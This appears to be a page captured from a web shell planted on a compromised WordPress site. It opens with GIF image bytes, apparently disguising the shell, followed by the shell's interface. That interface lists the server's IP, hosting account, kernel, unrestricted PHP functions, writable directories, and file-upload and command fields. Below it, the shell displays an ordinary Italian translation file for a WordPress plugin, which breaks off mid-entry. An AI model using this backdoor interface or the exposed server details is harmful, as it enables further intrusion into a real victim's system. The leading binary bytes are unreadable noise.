GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-it_IT.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro v5.2.9\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-11-10 22:35+0100\n"
"PO-Revision-Date: 2017-01-31 10:39+1000\n"
"Last-Translator: Elliot Condon <e@elliotcondon.com>\n"
"Language-Team: Elliot Condon <e@elliotcondon.com>\n"
"Language: it_IT\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 1.8.1\n"
"X-Loco-Target-Locale: it_IT\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: acf.php:60
msgid "Advanced Custom Fields"
msgstr "Campi Personalizzati Avanzati"

#: acf.php:281 admin/admin.php:117
msgid "Field Groups"
msgstr "Field Group"

#: acf.php:282
msgid "Field Group"
msgstr "Field Group"

#: acf.php:283 acf.php:315 admin/admin.php:118
#: pro/fields/flexible-content.php:576
msgid "Add New"
msgstr "Aggiungi Nuovo"

#: acf.php:284
msgid "Add New Field Group"
msgstr ""
"Aggiungi Nuovo \n"
"Field Group"

#: acf.php:285
msgid "Edit Field Group"
msgstr ""
"Modifica \n"
"Field Group"

#: acf.php:286
msgid "New Field Group"
msgstr ""
"Nuovo \n"
"Field Group"

#: acf.php:287
msgid "View Field Group"
msgstr ""
"Visualizza \n"
"Field Group"

#: acf.php:288
msgid "Search Field Groups"
msgstr ""
"Cerca \n"
"Field Group"

#: acf.php:289
msgid "No Field Groups found"
msgstr ""
"Nessun \n"
"Field Group\n"
" Trovato"

#: acf.php:290
msgid "No Field Groups found in Trash"
msgstr ""
"Nessun \n"
"Field Group\n"
" trovato nel cestino"

#: acf.php:313 admin/field-group.php:182 admin/field-group.php:280
#: admin/field-groups.php:510 pro/fields/clone.php:819
msgid "Fields"
msgstr "Campi"

#: acf.php:314
msgid "Field"
msgstr "Campo"

#: acf.php:316
msgid "Add New Field"
msgstr "Aggiungi Nuovo Campo"

#: acf.php:317
msgid "Edit Field"
msgstr "Modifica Campo"

#: acf.php:318 admin/views/field-group-fields.php:53
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Nuovo Campo"

#: acf.php:319
msgid "View Field"
msgstr "Visualizza Campo"

#: acf.php:320
msgid "Search Fields"
msgstr "Ricerca Campi"

#: acf.php:321
msgid "No Fields found"
msgstr "Nessun Campo trovato"

#: acf.php:322
msgid "No Fields found in Trash"
msgstr "Nessun Campo trovato nel cestino"

#: acf.php:361 admin/field-group.php:395 admin/field-groups.php:567
msgid "Inactive"
msgstr "Inattivo"

#: acf.php:366
#, php-format
msgid "Inactive <span class=\"count\">(%s)</span>"
msgid_plural "Inactive <span class=\"count\">(%s)</span>"
msgstr[0] "Inattivo <span class=\"count\">(%s)</span>"
msgstr[1] "Inattivo <span class=\"count\">(%s)</span>"

#: admin/admin.php:113 admin/views/field-group-options.php:114
msgid "Custom Fields"
msgstr "Campi Personalizzati"

#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr ""
"Field Group\n"
" aggiornato."

#: admin/field-group.php:70
msgid "Field group deleted."
msgstr ""
"Field Group\n"
" cancellato."

#: admin/field-group.php:73
msgid "Field group published."
msgstr ""
"Field Group\n"
" pubblicato."

#: admin/field-group.php:74
msgid "Field group saved."
msgstr ""
"Field Group\n"
" salvato."

#: admin/field-group.php:75
msgid "Field group submitted."
msgstr ""
"Field Group\n"
" inviato."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr ""
"Field Group\n"
" previsto."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr ""
"Bozza \n"
"Field Group\n"
" aggiornata."

#: admin/field-group.php:183
msgid "Location"
msgstr "Posizione"

#: admin/field-group.php:184
msgid "Settings"
msgstr "Impostazioni"

#: admin/field-group.php:274
msgid "Move to trash. Are you sure?"
msgstr "Sposta nel cestino. Sei sicuro?"

#: admin/field-group.php:275
msgid "checked"
msgstr "selezionato"

#: admin/field-group.php:276
msgid "No toggle fields available"
msgstr "Nessun Campo Toggle disponibile"

#: admin/field-group.php:277
msgid "Field group title is required"
msgstr "Il titolo del Field Group è richiesto"

#: admin/field-group.php:278 api/api-field-group.php:651
msgid "copy"
msgstr "copia"

#: admin/field-group.php:279
#: admin/views/field-group-field-conditional-logic.php:55
#: admin/views/field-group-field-conditional-logic.php:155
#: admin/views/field-group-locations.php:59
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3863
msgid "or"
msgstr "o"

#: admin/field-group.php:281
msgid "Parent fields"
msgstr "Campi genitore"

#: admin/field-group.php:282
msgid "Sibling fields"
msgstr "Campi di pari livello"

#: admin/field-group.php:283
msgid "Move Custom Field"
msgstr "Sposta Campo Personalizzato"

#: admin/field-group.php:284
msgid "This field cannot be moved until its changes have been saved"
msgstr ""
"Questo Campo non può essere spostato fino a quando non saranno state salvate "
"le modifiche"

#: admin/field-group.php:285
msgid "Null"
msgstr "Nullo"

#: admin/field-group.php:286 core/input.php:257
msgid "The changes you made will be lost if you navigate away from this page"
msgstr ""
"Le modifiche effettuate verranno cancellate se si esce da questa pagina"

#: admin/field-group.php:287
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr ""
"La stringa \"field_\" non può essere usata come inizio nel nome di un Campo"

#: admin/field-group.php:365
msgid "Field Keys"
msgstr "Field Key"

#: admin/field-group.php:395 admin/views/field-group-options.php:5
msgid "Active"
msgstr "Attivo"

#: admin/field-group.php:846
msgid "Front Page"
msgstr "Pagina Principale"

#: admin/field-group.php:847
msgid "Posts Page"
msgstr "Pagina Post"

#: admin/field-group.php:848
msgid "Top Level Page (no parent)"
msgstr "Pagina di primo livello (no Genitori)"

#: admin/field-group.php:849
msgid "Parent Page (has children)"
msgstr "Pagina Genitore (ha Figli)"

#: admin/field-group.php:850
msgid "Child Page (has parent)"
msgstr "Pagina Figlio (ha Genitore)"

#: admin/field-group.php:866
msgid "Default Template"
msgstr "Template Default"

#: admin/field-group.php:889
msgid "Logged in"
msgstr "Autenticato"

#: admin/field-group.php:890
msgid "Viewing front end"
msgstr "Visualizzando Frond-end"

#: admin/field-group.php:891
msgid "Viewing back end"
msgstr "Visualizzando Back-end"

#: admin/field-group.php:910
msgid "Super Admin"
msgstr "Super Admin"

#: admin/field-group.php:921 admin/field-group.php:929
#: admin/field-group.php:943 admin/field-group.php:950
#: admin/field-group.php:967 admin/field-group.php:984 fields/file.php:243
#: fields/image.php:239 pro/fields/gallery.php:676
msgid "All"
msgstr "Tutti"

#: admin/field-group.php:930
msgid "Add / Edit"
msgstr "Aggiungi / Modifica"

#: admin/field-group.php:931
msgid "Register"
msgstr "Registra"

#: admin/field-group.php:1168
msgid "Move Complete."
msgstr "Spostamento Completato."

#: admin/field-group.php:1169
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr ""
"Il Campo %s può essere trovato nel \n"
"Field Group\n"
" %s"

#: admin/field-group.php:1171
msgid "Close Window"
msgstr "Chiudi Finestra"

#: admin/field-group.php:1213
msgid "Please select the destination for this field"
msgstr "Per favore seleziona la destinazione per questo Campo"

#: admin/field-group.php:1220
msgid "Move Field"
msgstr "Sposta Campo"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Attivo <span class=\"count\">(%s)</span>"
msgstr[1] "Attivo <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr ""
"Field Group\n"
" duplicato. %s"

#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s Field Group duplicato."
msgstr[1] "%s Field Group duplicati."

#: admin/field-groups.php:227
#, php-format
msgid "Field group synchronised. %s"
msgstr ""
"Field Group\n"
" sincronizzato. %s"

#: admin/field-groups.php:231
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s Field Group sincronizzato."
msgstr[1] "%s Field Group sincronizzati."

#: admin/field-groups.php:394 admin/field-groups.php:557
msgid "Sync available"
msgstr "Sync disponibile"

#: admin/field-groups.php:507 api/api-template.php:1018
#: pro/fields/gallery.php:370
msgid "Title"
msgstr "Titolo"

#: admin/field-groups.php:508 admin/views/field-group-options.php:92
#: admin/views/install-network.php:25 admin/views/install-network.php:33
#: pro/fields/gallery.php:397
msgid "Description"
msgstr "Descrizione"

#: admin/field-groups.php:509
msgid "Status"
msgstr "Stato"

#: admin/field-groups.php:609 admin/settings-info.php:76
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Novità"

#: admin/field-groups.php:610
#, php-format
msgid "See what's new in <a href=\"%s\">version %s</a>."
msgstr "Guarda cosa c'è di nuovo nella <a href=\"%s\">versione %s</a>."

#: admin/field-groups.php:612
msgid "Resources"
msgstr "Risorse"

#: admin/field-groups.php:614
msgid "Documentation"
msgstr "Documentazione"

#: admin/field-groups.php:616
msgid "Getting Started"
msgstr "Guida introduttiva"

#: admin/field-groups.php:617
msgid "Field Types"
msgstr "Tipi di Field"

#: admin/field-groups.php:618
msgid "Functions"
msgstr "Funzioni"

#: admin/field-groups.php:619
msgid "Actions"
msgstr "Azioni"

#: admin/field-groups.php:620 fields/relationship.php:737
msgid "Filters"
msgstr "Filtri"

#: admin/field-groups.php:621
msgid "Features"
msgstr "Caratteristiche"

#: admin/field-groups.php:622
msgid "How to"
msgstr "Come fare"

#: admin/field-groups.php:623
msgid "Tutorials"
msgstr "Tutorial"

#: admin/field-groups.php:624
msgid "FAQ"
msgstr "FAQ"

#: admin/field-groups.php:625
msgid "Support"
msgstr "Supporto"

#: admin/field-groups.php:629
#, php-format
msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
msgstr "Grazie per aver creato con <a href=\"%s\">ACF</a>."

#: admin/field-groups.php:671
msgid "Duplicate this item"
msgstr "Duplica questo elemento"

#: admin/field-groups.php:671 admin/field-groups.php:687
#: admin/views/field-group-field.php:59 pro/fields/flexible-content.php:575
msgid "Duplicate"
msgstr "Duplica"

#: admin/field-groups.php:704 fields/google-map.php:132
#: fields/relationship.php:742
msgid "Search"
msgstr "Ricerca"

#: admin/field-groups.php:754
#, php-format
msgid "Select %s"
msgstr "Seleziona %s"

#: admin/field-groups.php:762
msgid "Synchronise field group"
msgstr ""
"Sincronizza \n"
"Field Group"

#: admin/field-groups.php:762 admin/field-groups.php:779
msgid "Sync"
msgstr "Sync"

#: admin/install-network.php:88 admin/install.php:70 admin/install.php:121
msgid "Upgrade Database"
msgstr "Aggiorna Database"

#: admin/install-network.php:140
msgid "Review sites & upgrade"
msgstr "Rivedi siti e aggiornamenti"

#: admin/install-updates.php:354
msgid "Term meta upgrade not possible (termmeta table does not exist)"
msgstr ""
"Non è possibile l'aggiornamento del meta termine (la tabella termmeta non "
"esiste)"

#: admin/install.php:186
msgid "Error validating request"
msgstr "Errore di convalida richiesta"

#: admin/install.php:209 admin/views/install.php:110
msgid "No updates available."
msgstr "Nessun aggiornamento disponibile."

#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Add-ons"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Errore</b>. Impossibile caricare l'elenco Add-ons"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Informazioni"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "Cosa c'è di nuovo"

#: admin/settings-tools.php:50 admin/views/settings-tools-export.php:23
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Strumenti"

#: admin/settings-tools.php:147 admin/settings-tools.php:380
msgid "No field groups selected"
msgstr ""
"Nessun \n"
"Field Group\n"
" selezionato"

#: admin/settings-tools.php:184 fields/file.php:177
msgid "No file selected"
msgstr "Nessun file selezionato"

#: admin/settings-tools.php:197
msgid "Error uploading file. Please try again"
msgstr "Errore caricamento file. Per favore riprova"

#: admin/settings-tools.php:206
msgid "Incorrect file type"
msgstr "Tipo file non corretto"

#: admin/settings-tools.php:223
msgid "Import file empty"
msgstr "File importato vuoto"

#: admin/settings-tools.php:331
#, php-format
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "Importato 1 field group"
msgstr[1] "Importati %s field groups"

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Condizione Logica"

#: admin/views/field-group-field-conditional-logic.php:55
msgid "Show this field if"
msgstr "Mostra questo Campo se"

#: admin/views/field-group-field-conditional-logic.php:104
#: admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "è uguale a"

#: admin/views/field-group-field-conditional-logic.php:105
#: admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "non è uguale a"

#: admin/views/field-group-field-conditional-logic.php:142
#: admin/views/field-group-locations.php:122
msgid "and"
msgstr "e"

#: admin/views/field-group-field-conditional-logic.php:157
#: admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Aggiungi gruppo di regole"

#: admin/views/field-group-field.php:50 pro/fields/flexible-content.php:422
#: pro/fields/repeater.php:349
msgid "Drag to reorder"
msgstr "Trascinare per riordinare"

#: admin/views/field-group-field.php:55 admin/views/field-group-field.php:58
msgid "Edit field"
msgstr "Modifica Campo"

#: admin/views/field-group-field.php:58 fields/image.php:142
#: pro/fields/gallery.php:357
msgid "Edit"
msgstr "Modifica"

#: admin/views/field-group-field.php:59
msgid "Duplicate field"
msgstr "Duplica Campo"

#: admin/views/field-group-field.php:60
msgid "Move field to another group"
msgstr "Sposta"

#: admin/views/field-group-field.php:60
msgid "Move"
msgstr "Sposta"

#: admin/views/field-group-field.php:61
msgid "Delete field"
msgstr "Cancella Campo"

#: admin/views/field-group-field.php:61 pro/fields/flexible-content.php:574
msgid "Delete"
msgstr "Cancella"

#: admin/views/field-group-field.php:69
msgid "Error"
msgstr "Errore"

#: admin/views/field-group-field.php:69
msgid "Field type does not exist"
msgstr "Il tipo di Campo non esiste"

#: admin/views/field-group-field.php:82
msgid "Field Label"
msgstr "Etichetta Campo"

#: admin/views/field-group-field.php:83
msgid "This is the name which will appear on the EDIT page"
msgstr "Questo è il nome che apparirà sulla pagina Modifica"

#: admin/views/field-group-field.php:95
msgid "Field Name"
msgstr "Nome Campo"

#: admin/views/field-group-field.php:96
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr "Singola parola, nessun spazio. Sottolineatura e trattini consentiti"

#: admin/views/field-group-field.php:108
msgid "Field Type"
msgstr "Tipo di Campo"

#: admin/views/field-group-field.php:122 fields/tab.php:103
msgid "Instructions"
msgstr "Istruzioni"

#: admin/views/field-group-field.php:123
msgid "Instructions for authors. Shown when submitting data"
msgstr ""
"Istruzioni per gli autori. Mostrato al momento della presentazione dei dati"

#: admin/views/field-group-field.php:134
msgid "Required?"
msgstr "Richiesto?"

#: admin/views/field-group-field.php:159
msgid "Wrapper Attributes"
msgstr "Attributi Contenitore"

#: admin/views/field-group-field.php:165
msgid "width"
msgstr "larghezza"

#: admin/views/field-group-field.php:179
msgid "class"
msgstr "classe"

#: admin/views/field-group-field.php:192
msgid "id"
msgstr "id"

#: admin/views/field-group-field.php:204
msgid "Close Field"
msgstr "Chiudi Campo"

#: admin/views/field-group-fields.php:17
msgid "Order"
msgstr "Ordinamento"

#: admin/views/field-group-fields.php:18 fields/checkbox.php:312
#: fields/radio.php:313 fields/select.php:528
#: pro/fields/flexible-content.php:601
msgid "Label"
msgstr "Etichetta"

#: admin/views/field-group-fields.php:19 fields/taxonomy.php:966
#: pro/fields/flexible-content.php:614
msgid "Name"
msgstr "Nome"

#: admin/views/field-group-fields.php:20
msgid "Type"
msgstr "Tipo"

#: admin/views/field-group-fields.php:26
msgid ""
"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"Nessun Campo. Clicca il bottone <strong>+ Aggiungi Campo</strong> per creare "
"il primo campo."

#: admin/views/field-group-fields.php:43
msgid "+ Add Field"
msgstr "+ Aggiungi Campo"

#: admin/views/field-group-locations.php:5
#: admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Post"

#: admin/views/field-group-locations.php:6 fields/relationship.php:743
msgid "Post Type"
msgstr "Tipo Post"

#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Stato Post"

#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Formato Post"

#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Categoria Post"

#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Tassonomia Post"

#: admin/views/field-group-locations.php:13
#: admin/views/field-group-locations.php:17
msgid "Page"
msgstr "Pagina"

#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Template Pagina"

#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Tipo di Pagina"

#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Genitore Pagina"

#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Utente"

#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Utente corrente"

#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Ruolo Utente corrente"

#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Form Utente"

#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Ruolo Utente"

#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:49
msgid "Forms"
msgstr "Moduli"

#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Allegato"

#: admin/views/field-group-locations.php:27
